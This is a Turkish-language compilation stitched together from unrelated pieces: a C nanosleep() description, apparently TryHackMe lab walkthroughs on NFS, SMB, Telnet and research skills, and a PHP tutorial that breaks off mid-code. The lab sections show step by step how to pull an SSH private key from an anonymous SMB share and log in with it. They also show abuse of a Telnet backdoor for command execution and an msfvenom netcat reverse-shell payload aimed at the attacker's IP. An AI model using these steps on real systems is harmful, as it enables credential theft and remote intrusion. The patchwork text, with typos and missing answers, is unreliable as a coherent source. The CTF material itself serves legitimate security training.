Verilen süre boyunca işlemi duraklatır. Barşarılı ise 0 değerini, başarısız durumunda -1 değerini döner. Eğer sinyal tarafından kesilirse, kalan süre değerini rem değerine döner.
Syntax
int nanosleep(const struct timespec* req, struct timespec* rem);
NFS, "Network File System" anlamına gelir ve bir sistemin dizinleri ve dosyaları bir ağ üzerinden başkalarıyla paylaşmasına olanak tanır. NFS kullanarak, kullanıcılar ve programlar uzak sistemlerdeki dosyalara neredeyse yerel dosyalarmış gibi erişebilirler. Bunu, bir dosya sisteminin tamamını ya da bir kısmını sunucuya bağlayarak yapar. Dosya sisteminin bağlanan kısmına, her dosyaya atanan ayrıcalıklara sahip istemciler tarafından erişilebilir.
NFS nasıl çalışır?
NFS'den etkili bir şekilde yararlanabilmek için teknik alışverişi çok ayrıntılı olarak anlamamız gerekmiyor ancak bu ilginizi çeken bir şeyse buradan daha fazla bilgi alınabilir.
İlk olarak, istemci, fiziksel bir aygıtı bağlayabildiği gibi, uzak bir ana bilgisayardan yerel bir dizine bir dizin bağlama talebinde bulunacaktır. Daha sonra mount servisi RPC kullanarak ilgili mount daemon'una bağlanmak için harekete geçecektir.
Sunucu, kullanıcının talep edilen dizini bağlama iznine sahip olup olmadığını kontrol eder. Daha sonra, sunucudaki her dosya ve dizini benzersiz bir şekilde tanımlayan bir dosya tanıtıcısı döndürür.
Birisi NFS kullanarak bir dosyaya erişmek isterse, sunucudaki NFSD'ye (NFS daemon) bir RPC çağrısı yapılır. Bu çağrı aşağıdaki gibi parametreler alır:
File handle
Erişilicek dosya adı
Kullanıcı kimlik bilgisi
kullanıcı group bilgisi
Bunlar, belirtilen dosyaya erişim haklarının belirlenmesinde kullanılır. Bu, kullanıcı izinlerini kontrol eden şeydir, yani dosyaların okunması ve yazılması.
NFS'i ne çalıştırır?
NFS protokolünü kullanarak, Windows, Linux, MacOS veya UNIX gibi diğer Windows dışı işletim sistemlerini çalıştıran bilgisayarlar arasında dosya aktarabilirsiniz.
Windows Server çalıştıran bir bilgisayar, Windows olmayan diğer istemci bilgisayarlar için bir NFS dosya sunucusu görevi görebilir. Aynı şekilde NFS, Windows Server çalıştıran Windows tabanlı bir bilgisayarın Windows olmayan bir NFS sunucusunda depolanan dosyalara erişmesine olanak tanır.
NFS'nin teknik uygulamasını ve çalışmasını burada ele aldığımdan daha ayrıntılı olarak açıklayan bazı kaynaklar aşağıda verilmiştir.
Server Message Block Protocol (SMB) bir ağ üzerindeki dosyalara, yazıcılara, seri bağlantı noktalarına ve diğer kaynaklara erişimi paylaşmak için kullanılan bir client - server iletişim protokolüdür. source
Sunucular dosya sistemlerini ve diğer kaynakları (yazıcılar, pipes, API'ler) ağ üzerindeki istemcilerin kullanımına sunar. İstemci bilgisayarların kendi sabit diskleri olabilir, ancak sunuculardaki paylaşılan dosya sistemlerine ve yazıcılara da erişmek isterler.
SMB protokolü bir response request protokolü olarak bilinir, yani bir bağlantı kurmak için istemci ve sunucu arasında birden fazla mesaj iletir. İstemciler sunuculara TCP/IP (aslında RFC1001 ve RFC1002'de belirtildiği gibi TCP/IP üzerinden NetBIOS), NetBEUI veya IPX/SPX kullanarak bağlanır.
SMB nasıl çalışır?
Bir bağlantı kurduktan sonra, istemciler sunucuya paylaşımlara erişmelerine, dosyaları açmalarına, dosyaları okumalarına yazmalarına ve genellikle bir dosya sistemiyle yapmak istediğiniz her şeyi yapmalarına olanak tanıyan komutlar (SMB'ler) gönderebilirler. Ancak, SMB söz konusu olduğunda, bu işlemler ağ üzerinden yapılır.
SMB'yi ne çalıştırır?
Windows 95'ten bu yana Microsoft Windows işletim sistemleri istemci ve sunucu SMB protokolü desteği içermektedir. SMB protokolünü destekleyen açık kaynaklı bir sunucu olan Samba, Unix sistemleri için piyasaya sürülmüştür.
1. SMB açılımı nedir?
Server Message Block
2. SMB ne tür bir protokoldür?
response-request
3. İstemciler sunuculara ne kullanarak bağlanır?
TCP/IP
4. Samba hangi sistemlerde çalışır?
Unix
Task 3 - Enumerating SMB
Enumeration
Enumeration, potansiyel saldırı vektörlerini bulmak ve istismara yardımcı olmak için bir hedef hakkında bilgi toplama sürecidir.
Bu süreç bir saldırının başarılı olması için çok önemlidir, çünkü işe yaramayan ya da sistemi çökertebilecek açıklarla zaman kaybetmek enerji kaybı olabilir. Enumeration, kullanıcı adlarını, parolaları, ağ bilgilerini, ana bilgisayar adlarını, uygulama verilerini, hizmetleri veya bir saldırgan için değerli olabilecek diğer bilgileri toplamak için kullanılabilir.
SMB
Tipik olarak, bir sunucu üzerinde bağlanılabilen ve dosyaları görüntülemek veya aktarmak için kullanılabilen SMB paylaşım sürücüleri vardır. SMB, hassas bilgileri keşfetmek isteyen bir saldırgan için genellikle harika bir başlangıç noktası olabilir bazen bu paylaşımlarda nelerin bulunduğuna şaşıracaksınız.
Port Taraması
Enumeration ilk adımı, hedef makinenin hizmetleri, uygulamaları, yapısı ve işletim sistemi hakkında olabildiğince fazla bilgi edinmek için bir port taraması yapmaktır.
Enum4Linux
Enum4linux, hem Windows hem de Linux sistemlerinde SMB paylaşımlarını numaralandırmak için kullanılan bir araçtır. Temel olarak Samba paketindeki araçların etrafını sarar ve hedeften SMB ile ilgili bilgileri hızlı bir şekilde çıkarmayı kolaylaştırır. Kendi saldırı makinenize yüklemeniz gerekiyorsa, bunu resmi github adresinden indirip yapabilirsiniz.
Enum4linux'un kullanımı basittir: enum4linux [options] ip
TAG
FUNCTION
-U
Kullanıcı listesi
-M
Makine listesi
-N
İsim listsi (-U ve -M farklıdır.)
-S
Paylaşılan listesi
-P
Password politikası bilgileri
-G
Group ve Kullanıcı listesi
-a
Hepsini getir
1. Nmap taraması yapın. Kaç port açık?
terminal
namp -sS -T4 -A -p- 10.10.44.59 -oN nmap_smb.txt
3
2. SMB hangi portlar üzerinde çalışıyor?
139/445
3. Enum4Linux ile başlayalım, tam bir temel enumeration yapalım. Çalışma grubunun adı nedir?
terminal
enum4linux -a 10.10.44.59
WORKGROUP
4. Makinenin adı olarak ne geliyor?
POLOSMB
5. Hangi işletim sistemi sürümü çalışıyor?
6.1
6. Hangi paylaşım araştırmak isteyebileceğimiz bir şey olarak öne çıkıyor?
IPC$ ve print$ varsayılan SMB paylaşımlarıdır. netlogon, Network Login hizmetine ait bir paylaşımdır. Eleme sürecine göre, öne çıkan paylaşım profillerdir.
profiles
Task 4 - Exploiting SMB
SMB Exploit Türleri
CVE-2017-7494 gibi SMB'den yararlanarak uzaktan kod çalıştırmaya izin verebilecek güvenlik açıkları olsa da, bir sisteme girmenin en iyi yolunun sistemdeki yanlış yapılandırmalardan kaynaklandığı bir durumla karşılaşma olasılığınız daha yüksektir. Bu durumda, anonim SMB paylaşım erişiminden yararlanacağız bir shell'e yol açacak bilgileri elde etmemize izin verebilecek yaygın bir yanlış yapılandırma.
SMBClient
Bir SMB paylaşımına erişmeye çalıştığımız için, sunuculardaki kaynaklara erişmek için bir istemciye ihtiyacımız var. SMBClient kullanacağız çünkü varsayılan samba paketinin bir parçasıdır. Kendi makinenize yüklemeniz gerekiyorsa, buradan indirebilirisiniz
terminal
smbclient //[IP]/[SHARE]
TAG
FUNCTION
-U
Kullanıcı bilgisi
-p
Port bilgisi
1. Varsayılan bağlantı noktasında 10.10.10.2 IP'li bir makinede "suit" kullanıcısı olarak "secret" adlı bir SMB paylaşımına erişmek için doğru sözdizimi ne olurdu?
smbclient //10.10.10.2/secret -U suit -p 445
2. Paylaşım anonim erişime izin veriyor mu?
terminal
smbclient //10.10.44.59/profiles -U Anonymous
Y
3. Değerli bilgiler içerebilecek ilginç belgeler için etrafa bir göz atın. Bu profil klasörünün kime ait olduğuna bakalım?
Öne çıkan dosya "Working From Home Information.txt". more komutu kullanılarak dosyanın içeriği okunabilir.
terminal
more "Working From Home Information.txt"
John Cactus
4. Evden çalışmasına izin vermek için hangi hizmet yapılandırıldı?
ssh
5. Artık bunu bildiğimize göre, paylaşımda hangi dizine bakmalıyız?
SSH anahtarları .ssh dizininde saklanır. Varsayılan olarak sunucunun private key id_rsa adlı bir dosyaya kaydedilir ve public key id_rsa.pub adlı bir dosyada saklanır. Sunucuya bağlanmak için private key'e ihtiyacımız vardır. John Cactus için SSH kullanıcı adını bilmediğimizden, private key SSH kullanıcı adını içereceğinden public ve private key indirdim.
mget komutu kullanılarak bir SMB sunucusundan birden fazla dosya indirilebilir.
terminal
mget id_rsa id_rsa.pub
.ssh
6. Bu dizin, bir kullanıcının bir sunucuda kimliğini doğrulamasına ve ardından sunucuya erişmesine olanak tanıyan kimlik doğrulama anahtarlarını içerir. Bu anahtarlardan hangisi bizim için en kullanışlıdır?
id_rsa
Bu dosyayı yerel makinenize indirin ve "chmod 600 [dosya]" kullanarak izinleri "600" olarak değiştirin.
Şimdi, hesabın kullanıcı adını bulmak için daha önce topladığınız bilgileri kullanın. Ardından, sunucuda oturum açmak için hizmeti ve anahtarı kullanın.
7. smb.txt içindeki flag nedir?
terminal
chmod 600 id_rsa # Private key izinlerini değiştir.
cat id_rsa.pub # Public key içerisin de ssh kullanıcı adını dosya sonunda buluyoruz.
ssh cactus@10.10.44.59 -i id_rsa # Private key kullanarak sunucuya bağlanıyoruz.
THM{smb_is_fun_eh?}
Task 5 - Understanding Telnet
Telnet Nedir?
Telnet, bir telnet istemcisi kullanarak, bir telnet sunucusu barındıran uzak bir makineye bağlanmanıza ve bu makinede komutlar çalıştırmanıza olanak tanıyan bir uygulama protokolüdür.
Telnet istemcisi sunucu ile bir bağlantı kuracaktır. İstemci daha sonra sanal bir terminal haline gelecek ve uzak ana bilgisayarla etkileşime girmenize izin verecektir.
Telnet tüm mesajları açık metin olarak gönderir ve belirli bir güvenlik mekanizması yoktur. Bu nedenle, birçok uygulama ve hizmette Telnet'in yerini çoğu uygulamada SSH almıştır.
Telnet nasıl çalışır?
Kullanıcı sunucuya Telnet protokolünü kullanarak bağlanır, bu da bir komut istemine telnet girmek anlamına gelir. Kullanıcı daha sonra Telnet komutlarını kullanarak sunucuda komutları yürütür. Aşağıdaki sözdizimini kullanarak bir telnet sunucusuna bağlanabilirsiniz:
terminal
telnet [ip] [port]
1. Telnet nedir?
application protocol
2. Telnet'in yerini yavaş yavaş ne aldı?
ssh
3. IP adresi 10.10.10.3 olan bir Telnet sunucusuna 23 numaralı bağlantı noktasından nasıl bağlanırsınız?
telnet 10.10.10.3 23
4. Neyin eksikliği, tüm Telnet iletişiminin düz metin olduğu anlamına gelir?
encryption
Task 6 - Enumerating Telnet
Enumeration
Enumerating yanlış yapılandırılmış bir ağ hizmetinden yararlanmada ne kadar etkili olabileceğini daha önce görmüştük. Ancak, istismar edilmesi potansiyel olarak önemsiz olabilecek güvenlik açıkları her zaman gözümüze çarpmaz. Bu nedenle, özellikle ağ hizmetlerinin numaralandırılması söz konusu olduğunda, yöntemimizde titiz olmamız gerekir.
Port Tarama
Hedef makinenin hizmetleri, uygulamaları, yapısı ve işletim sistemi hakkında olabildiğince fazla bilgi edinmek için genellikle yaptığımız gibi bir port taramasıyla başlayalım. Makineyi nmap ile tarayın.
1. Hedef makinede kaç port açık?
terminal
namp -sS -T4 -A -p- 10.10.44.59 -oN nmap_smb.txt
1
2. Port numarası nedir?
8012
3. Bu bağlantı noktası atanmamış, ancak yine de kullandığı protokolü listeliyor, bu hangi protokol?
tcp
4. nmap taramasını -p- komutu olmadan yeniden çalıştırdığınızda, kaç bağlantı noktası açık olarak görünüyor?
0
5. Bu port ne için kullanılır?
Port 8012 tarafından döndürülen mesaj bize Skidy's Backdoor'u çalıştırdığını söylüyor.
a backdoor
6. Kime ait olabilir? Olası kullanıcı adlarını toplamak, numaralandırmada önemli bir adımdır.
Skidy
Task 7 - Exploiting Telnet
Telnet Exploit Türleri
Bir protokol olan Telnet, daha önce bahsettiğimiz nedenlerden dolayı kendi içinde güvensizdir. Şifrelemeden yoksundur, bu nedenle tüm iletişimi düz metin üzerinden gönderir ve çoğunlukla zayıf erişim kontrolüne sahiptir. Bununla birlikte, Telnet istemci ve sunucu sistemleri için CVE'ler vardır, istismar ederken bunları kontrol edebilirsiniz:
Common Vulnerabilities and Exposures kısaltması olan CVE, kamuya açıklanmış bilgisayar güvenlik kusurlarının bir listesidir. Birisi bir CVE'den bahsettiğinde, genellikle bir güvenlik açığına atanan CVE kimlik numarasını kasteder.
Bununla birlikte, telnet'in nasıl yapılandırıldığı veya çalıştığıyla ilgili bir yanlış yapılandırma bulma olasılığınız çok daha yüksektir ve bu da onu istismar etmenize olanak tanır.
Reverse Shell Nedir?
"Shell" basitçe bir cihaz üzerinde kod veya komut çalıştırmak için kullanılabilen bir kod veya program parçası olarak tanımlanabilir.
Reverse Shell, hedef makinenin saldıran makineyle geri iletişim kurduğu bir shell türüdür.
Saldıran makinenin bağlantıyı aldığı bir dinleme portu vardır, bu da kod veya komut yürütülmesine neden olur.
1. Bu açık bir telnet bağlantısı! Nasıl bir karşılama mesajı alıyoruz?
terminal
telnet 10.10.127.187 8012
SKIDY'S BACKDOOR.
2. Bazı komutları çalıştırmayı deneyelim, telnet oturumuna girdiğimiz herhangi bir girdiden geri dönüş alıyor muyuz?
.HELP menüsü tüm komutların başına .RUN eklememizi söylüyor. Linux komutlarını .RUN ön ekli olarak çalıştırmayı denedim ancak herhangi bir çıktı alamadık.
N
3. Yazdığımız şeyin bir sistem komutu olarak çalıştırılıp çalıştırılmadığını kontrol edelim.
N
Yerel makinenizde bir tcpdump dinleyicisi başlatın.
terminal
tcpdump ip proto \\icmp -i tun0 # Yerel Kali Makine için
tcpdump ip proto \\icmp -i ens5 # AttackBox Makinasi için
Bu, özellikle ping'lerin üzerinde çalıştığı ICMP trafiğini dinleyen bir tcpdump dinleyicisi başlatır.
4. Şimdi, sistem komutlarını çalıştırıp çalıştıramadığımızı görmek için telnet oturumu üzerinden "ping [yerel THM ip] -c 1" komutunu kullanın. Herhangi bir ping alıyor muyuz?
Telnet bağlantınızın olduğu terminalden ping komutunu çalıştırın. Komutun önüne .RUN eklemeyi unutmayın.
terminal
.RUN ping 10.6.67.160 -c 1
Komut çalıştırıldıktan sonra tcpdump'ın çalıştığı terminali kontrol edin. ICMP paketlerini listelemiş olmalıdır.
Y
msfvenom kullanarak bir reverse shell yükü oluşturacağız. Bu bizim için bir netcat reverse shell oluşturacak ve kodlayacaktır.
terminal
msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R
TAG
FUNCTION
-p
Payload
lhost
Yerel ana bilgisayar IP adresimiz.
lport
Dinlenecek port
R
Payload ham formatta dışa aktarma
5. Oluşturulan yük hangi kelime ile başlıyor?
Payload, bir reverse shell oluşturacaktır. Reverse Shell, hedef makine saldıran makine ile ağ bağlantısını başlatır. Kabuğun bizim makinemize bağlanması gerektiğinden, TryHackMe ağındaki makinemizin IP adresine ihtiyacımız var. Eğer TryHackMe'ye bağlanmak için OpenVPN kullandıysanız tun0 arayüzüne bakmanız gerekir.
terminal
ip a l tun0
inet altındaki değer ihtiyacımız olan IP adresidir.
terminal
msfvenom -p cmd/unix/reverse_netcat lhost=10.6.67.160 lport=4444 R
Etkili araştırma yeteneği bir hackerın sahip olması gereken en önemli niteliklerden biridir. Hackerlık doğası gereği geniş bir bilgi tabanı
gerektirir. Çünkü nasıl çalıştığını bilmediğiniz bir şeye nasıl gireceksiniz değil mi? Mesele şu ki: kimse her şeyi bilemez. Herkes (profesyonel,
amatör, deneyimli ya da konuya tamamen yeni olabilirler) otomatik olarak nasıl çözüleceğini bilmediği sorunlarla karşılaşacaktır. İşte bu noktada
araştırma devreye girer, çünkü gerçek dünyada sorularınızın yanıtlarının size kolayca verilmesini bekleyemezsiniz.
Deneyim seviyeniz arttıkça, araştırdığınız şeylerin zorluk derecesinin de buna göre arttığını göreceksiniz; ancak bilgi güvenliği alanında, bir
şeylere bakmanıza gerek kalmayacağı bir nokta asla gelmeyecektir.
Task 2 - Example Research Question
TryHackMe'de bir CTF üzerinde çalışırken bulmanız muhtemel türden olan tipik bir araştırma sorusuna bakarak başlayacağız.
Diyelim ki uzak bir sunucudan bir JPEG görüntüsü indirdiniz. İçinde gizli bir şey olduğundan şüpheleniyorsunuz, ancak bunu nasıl ortaya çıkarabilirsiniz?
Google'da "hiding things inside images" aramasını yaparak başlamaya ne dersiniz?
Aşağıdaki ikinci bağlantının bize bir tekniğin başlığını verdiğine dikkat edin: "Steganography" Daha sonra bu bağlantıya tıklayabilir ve size dosyaların
resimlerin içine nasıl gizlendiğini öğretecek olan belgeyi okuyabilirsiniz.
Artık nasıl yapıldığını biliyoruz, şimdi steganography kullanarak dosyaları ayıklamanın bir yolunu aramayı deneyelim
Zaten neredeyse her bağlantı faydalı bir şeye işaret ediyor. İlk bağlantı yararlı araçların bir koleksiyonunu içeriyor, ikincisi ise ilk etapta steganografinin
nasıl gerçekleştirileceğine dair daha fazla talimat içeriyor. Gerçekçi olmak gerekirse bu bağlantılardan herhangi biri faydalı olabilir, ancak ilkine
0xrick.github.io bir göz atalım.
Buradaki ilk araç kullanışlı görünüyor. JPEG dosyalarından gömülü verileri ayıklamak için kullanılabilir tam da ihtiyacımız olan şey! Bu sayfa ayrıca
steghide'ın "apt" kullanılarak kurulabileceğini de söylüyor.
Şimdi bunu araştıralım!
Harika Yani apt, Ubuntu (veya Kali!) gibi Linux dağıtımlarına araçlar yüklememizi sağlayan bir paket yöneticisidir.
Apt kullanarak paketleri nasıl yükleyebiliriz? Hadi arayalım!
Mükemmel sayfanın en üstünde bize talimatlar veriliyor. Paketimizin adının steghide olduğunu biliyoruz, devam edip bunu yükleyebiliriz
terminal
apt-get install steghide
Şimdi, daha önce baktığımız steganografi araçları koleksiyonuna geri dönelim. Orada steghide'ın nasıl kullanılacağına dair talimatlar olduğunu
fark ettiniz mi?
setghide extract -sf file: extracts embedded data from a file
İşte böyle! Bir dosyadan bir görüntüyü bu şekilde çıkarabiliriz. Araştırmamız sonuç verdi ve şimdi gidip görevi tamamlayabiliriz.
Buradaki metodolojiye dikkat edin. Hiçbir şey yapmadan başladık, ancak yavaş yavaş ne yapmamız gerektiğine dair bir resim oluşturduk. Bir sorumuz vardı (Bu görüntüden nasıl veri çıkarabilirim). Bu soruya bir yanıt aradık, ardından konuyu tam olarak anlayana kadar bize verilen yanıtların her birini sorgulamaya devam ettik. Bu, araştırma yapmak için gerçekten iyi bir yoldur: Bir soruyla başlayın; konu hakkında ilk anlayışı edinin; daha sonra gerektiğinde daha ileri yönlere bakın.
Şimdi sıra sizde. Araştırma becerilerinizi kullanarak aşağıdaki soruları yanıtlayıp yanıtlayamayacağınızı görün. İlk üç sorunun ipuçlarında uygun arama sorguları bulunmaktadır:
1. Kali Linux ile birlikte gelen Burp Suite Programında, bir isteği manuel olarak göndermek için (genellikle yakalanan bir isteği birçok kez tekrarlayarak) hangi modu kullanırsınız?
Repeater
2. Modern Windows oturum açma parolaları hangi hash formatında saklanır?
NTLM
3. Linux'ta otomatik görevlere ne denir?
Cron Jobs
4. Hangi sayı tabanını 2 tabanının (binary) kısaltması olarak kullanabilirsiniz?
Base 16
5. Bir parola hash'i $6$ ile başlıyorsa, bu hangi formattadır (Unix varyantında)?
sha512crypt
Task 3 - Vulnerability Searching
Bilgisayar korsanlığında genellikle istismara açık olabilecek yazılımlarla karşılaşırsınız. Örneğin, İçerik Yönetim Sistemleri (Wordpress, FuelCMS, Ghost, vb.) bir web sitesi kurmayı kolaylaştırmak için sıklıkla kullanılır ve bunların çoğu çeşitli saldırılara karşı savunmasızdır. Peki belirli bir yazılımı istismar etmek isteseydik nereye bakardık?
Bu sorunun cevabı aşağıdaki gibi web sitelerinde yatmaktadır:
NVD, CVE'leri (Common Vulnerabilities and Exposures) kamuya açık bir istismar olup olmadığını takip eder, bu nedenle belirli bir yazılım parçasındaki güvenlik açıklarını araştırıyorsanız bakmak için gerçekten iyi bir yerdir. CVE'ler şu biçimi alır: CVE-YEAR-IDNUMBER
ExploitDB hackerlar için çok yararlı olma eğilimindedir, çünkü genellikle kutudan çıkar çıkmaz indirilip kullanılabilecek açıklar içerir. Bir CTF veya pentestter yazılımla karşılaştığınızda ilk duraklardan biri olma eğilimindedir.
Eğer Linux'ta CLI kullanmaya meyilliyseniz, Kali, ExploitDB'yi kendi makinenizden aramanızı sağlayan "searchsploit" adlı bir araçla önceden yüklenmiş olarak gelir. Bu çevrimdışıdır ve veritabanının indirilmiş bir sürümünü kullanarak çalışır, yani Kali Linux'unuzda zaten tüm açıklara sahipsiniz!
Bir örnek verelim. Diyelim ki bir CTF oynuyoruz ve bir web sitesiyle karşılaştık:
Bunun FuelCMS olduğu çok açık. Genellikle bu kadar açık olmaz, ama elimizdekiyle çalışacağız!
Yazılımı biliyoruz, bu yüzden ExploitDB'de arayalım.
Açıkları aramak için searchsploit fuelCMS komutunu kullanıyorum
Web sitesinde bir şeyler yapmayı tercih ediyorsanız, işte oradan sonuçlar:
Artık web sitesine karşı kullanabileceğimiz bir açık bulduk!
Aslında istismarı kullanmak bu odanın kapsamı dışındadır, ancak süreci görebilirsiniz.
Başlığa tıklarsanız, açık hakkında biraz daha fazla açıklama alacaksınız:
CVE numaralarına özellikle dikkat edin; sorular için onlara ihtiyacınız olacak!
Format şu şekilde olacaktır: CVE-YEAR-NUMBER
Not: CVE numaraları güvenlik açığı keşfedildiğinde atanır, kamuoyuna duyurulduğunda değil. Bir güvenlik açığı bir yılın sonunda keşfedilirse veya güvenlik açığını doğrulama ve düzeltme süreci uzun sürerse, yayınlanma tarihinin CVE tarihindeki yıldan sonraki yıl olabileceğini unutmayın... aşağıdaki soruları yanıtlarken bunu aklınızda bulundurun.
1. WPForms'ta bulunan 2020 Cross-Site Scripting (XSS) güvenlik açığının CVE'si nedir?
CVE-2020-10385
2. Apache Tomcat'in Debian sürümünde 2016 yılında bir Local Privilege Escalation açığı bulundu. Bu güvenlik açığı için CVE nedir?
Daha önce Linux'ta çalışmadıysanız, Linux Temelleri modülüne bir göz atın. Linux (genellikle Kali Linux) şüphesiz bilgisayar korsanlığında kullanılan en yaygın işletim sistemidir, bu yüzden ona aşina olmakta fayda var!
Linux'un birçok yararlı özelliğinden biri de, çoğu aracın kılavuz sayfalarına doğrudan terminalinizin içinden erişmenizi sağlayan dahili man komutudur. Bazen kılavuz girişi olmayan bir araç bulabilirsiniz; ancak bu nadirdir. Genel olarak, bir aleti nasıl kullanacağınızı bilmediğinizde ilk başvuracağınız yer insan olmalıdır.
Hadi bir deneyelim!
SSH kullanarak uzaktaki bir bilgisayara bağlanmak istediğimizi ancak sözdizimini bilmediğimizi varsayalım. SSH için kılavuz sayfasını almak için man ssh'ı deneyebiliriz
Açıklamada SSH kullanımı için sözdiziminin user@host olduğunu görebiliriz
Ayrıca man sayfalarını, programın başka şeyler yapmasını sağlayan özel anahtarları aramak için de kullanabiliriz. Bunun bir örneği, (ilk örneğimizden) steghide'ın, verdiğiniz anahtarlara bağlı olarak bir görüntünün içindeki dosyaları hem ayıklamak hem de gömmek için kullanılabilmesidir.
Örneğin, SSH için sürüm numarasını görüntülemek istiyorsanız, uygun bir anahtar bulana kadar man sayfasında aşağı kaydırırsınız:
terminal
-V Display the version number and exit.
Şimdi sıra sizde! Aşağıdaki soruları man komutunu kullanarak cevaplayın:
SCP, dosyaları bir bilgisayardan diğerine kopyalamak için kullanılan bir araçtır.
1. Bir dizinin tamamını kopyalamak için hangi anahtarı kullanırsınız?
-r
fdisk, sabit diskinizde kullanılan bölümleme şemasını görüntülemek ve değiştirmek için kullanılan bir komuttur.
2. Mevcut bölümleri listelemek için hangi anahtarı kullanırsınız?
-l
nano Linux için kullanımı kolay bir metin editörüdür. Muhtemelen daha iyi editörler vardır (Vim, vi vb.); ancak, nano başlamak için harika bir tanesidir.
3. Nano ile bir dosya açarken yedekleme yapmak için hangi anahtarı kullanırsınız?
-B
Netcat, ağ isteklerini manuel olarak göndermek ve almak için kullanılan temel bir araçtır.
4. Netcat'i 12345 numaralı bağlantı noktasını kullanarak dinleme modunda başlatmak için hangi komutu kullanırsınız?
PHP'de değişken tipleri yoktur. Atanan değere göre otomatik olarak değişkenin tipi verilir. Bir değişkenin veri tipinin ne olduğunu görmek için gettype(); function ile alabiliriz veya settype(); function ile tipini belirleye biliriz.
echo(); function ile tanımladığımız değişkenleri yazdıra biliriz. PHP'de birleştirme operatörü olarak "." (nokta) karakteri kullanılır.
Sabit tanımları aşağıdaki gibi tanımlanır. Değişkenlerden farkı değiştirelemez olamlarıdır. Bu yüzden tanımlandıkları yerde bir kez değer atanır istenilen her yerde kullanılır.
Arrayleri içlerin de bir den fazla değerler tutabilen değişkenler olarak tanımlaya biliriz.
Arraylerin iki farklı kullanımları vardır:
Eski Kullanım: $array1 = array();
Modern Kullanım: $array2 = [];
Array içine eleman eklemenin temelde iki yolu vardır:
$array1[] = "Eleman 1";
array_push($array2, "Eleman 2");
Her eklenen değerlerin key değerleri 0'dan başlayarak kaldığı yerden veri eklendikçe artarak devam eder. Arrayleri echo function ile direk olarak yazdırmamız mümkün değildir. Bunun için var_dump(), print_r() functionları kullanılmalıdır.
Eğer eklenen valueların keylerini kendimiz vermek istiyorsak array'e eleman eklerken köşeli parantez içinde belirtebiliriz.
index.php
$array1["key1"] = "value 1"
Bir arraydeki değerleri satır satır çekmenin yolu ise foreach'tir
index.php
foreach($array2 as $value)
{
echo $value . "<br>";
}
Bir de arrayler de boyut dediğimiz bir kavram vardır. Array içine bir array ataması gerçekleştirdiğimiz de bu array aslında 2 boyutlu bir array haline gelir.
echo ($x += $y) . "<br>"; // $x'in yeni değer 32 oldu
echo ($x -= $y) . "<br>"; // $x'in yeni değer 32 olduğundan 32 - 2 = 30. $x tekrardan 30 oldu
echo ($x *= $y) . "<br>"; // 30 * 2 den $x'in yeni değeri 60 oldu
echo ($x /= $y) . "<br>"; // 60 / 2 işlemi yapılacağından $x tekrardan 30 oldu
Koşul kontrol edilmeden önce bloktaki işlemler yapılır, sonra koşul kontrol edilir. $b 0'a eşit olduğu sürece döngünün dönmesi lazım. Daha ilk adımdan koşul sağlanmamasına rağmen, ilk önce blok çalıştığından ekrana yazı basılır.
index.php
$i = 1;
do
{
echo "blok içindeki işlemler <br />";
}while($i == 0);
Dosya Dahil Etmek
Başka bir dosyayı 2 şekilde dahil edebiliriz.
require Dahil etmek istediğimiz dosya yok ise ekrana hata basıp sonraki işlemleri yapmaz.
include Dahil etmeye çalıştığımız dosya yok ise ekrana hata basar ve sayfaki diğer işlemleri yapmaya devam eder.
require_once ve include_once 1 dosya 1 den fala kez çağrılırsa sadece 1 kere çağrılmış gibi davranmasını sağlar.
index.php
require "external.php";
include "external.php";
require_once "external.php";
include_once "external.php";
Function Oluşturmak
PHP'de function aşağıdaki gibi oluşturulur.
index.php
function func1()
{
echo "Parameresiz Func";
}
function func2()
{
return "Parameresiz Func";
}
function func3($x, $y)
{
echo "Sonuc: " . ($x + $y);
}
function func4($x, $y)
{
return $x + $y;
}
Class ve Erişim Belirtecleri
public her yerden ulaşılabilen.
private sadece oluşturulduğu class içinde çağrılabilen
protected sadece oluşturulduğu ve miras alınan classlarda çağrılabilen
index.php
class Student
{
private $name = "Zeynep";
private $age = "23";
public function getName()
{
echo $this->name;
}
}
$student = new Student;
student -> getName();
Constructures
__construct class'tan yeni bir nesne oluşturulduğunda yapılacak işlemler
__destruct class sonlandığında yapılacak işlemler
index.php
class Constructure
{
function __construct()
{
echo "ben doğdum <br />";
}
function __destruct()
{
echo "ben öldüm <br />";
}
}
$const = new Constructure;
Miras Almak
index.php
class Hayvan
{
public function nefesAl()
{
echo "ben enfes alıyorum <br />";
}
public function yemekYe()
{
echo "ben yemek yiyorum <br />";
}
public function uyu()
{
echo "ben uyuyorum <br />";
}
}
class Kedi extends Hayvan
{
private $adi;
function __construct($gelenad)
{
$this->adi = $gelenad;
echo "ben $this->adi isminde bir kediyim ve doğdum <br />";
}
public function kos()
{
echo "ben koşuyorum çünkü kediyim <br />";
}
function __destruct()
{
echo "ben $this->adi ismindeki kediydim öldüm <br />";
}
}
class Kus extends Hayvan
{
private $adi;
function __construct($gelenad)
{
$this->adi = $gelenad;
echo "ben $this->adi isminde bir kuşum ve doğdum <br />";
}
public function uc()
{
echo "ben uçabiliyorum çünkü kuşum <br />";
}
function __destruct()
{
echo "ben $this->adi ismindeki kuştum öldüm <br />";
}
}
$cat = new Kedi("tekir");
$cat -> yemekYe(); // Hayvan class'ı miras alındığından Hayvan classının methodu kullanılabilir.
$cat -> kos(); // kendi class'ında bir methodu kullandı
// $cat -> uc(); // hata! kuşa ait olan bir methodu kullandı
$bird = new Kus("boncuk");
$bird -> yemekYe(); // Hayvan class'ı miras alındığından Hayvan classının methodu kullanılabilir.
$bird -> uc(); // kendi class'ında bir methodu kullandı
// $bird -> kos(); // hata! kediye ait olan bir methodu kullandı
Cookie ve Session Oluşturmak
Sayfada session ile işlem yapmak istiyorsam session_start(); demeliyim
Session ve Cookie, unutulmayan değişkenlerdir. Bu sayfada 1 kere tanımladıktan sonra başka sayfada istediğiniz gibi kullanabilirsiniz.
Farkları nedir:
Cookie, browser'ınızda tutulur. 3. parametrede unix time stamp formatı ile girilen zaman geldiğinde cookie kendini unset eder yani siler
Session, server'da tutulur. Browser kapatıldığında serverdaki session dosyası kendini unset eder
Cookie Oluşturmak
index.php
setcookie("bilgiler", "adim=zeynep,soyad=asd", time() + (7 * 24 * 60 * 60) );
// Anahtarı 'bilgiler' olan, içinde 'adim=zeynep,soyad=asd' değerini taşıyan ve
// tam 1 hafta sonra bugün bu saatte yok olacak bir cookie set ettim.
echo $_COOKIE["bilgiler"] . "<br />";
$str = "zeynep deneme SELECT dfsdf ,sdfsdfds ";
try
{
if(strstr($str, "SELECT"))
{
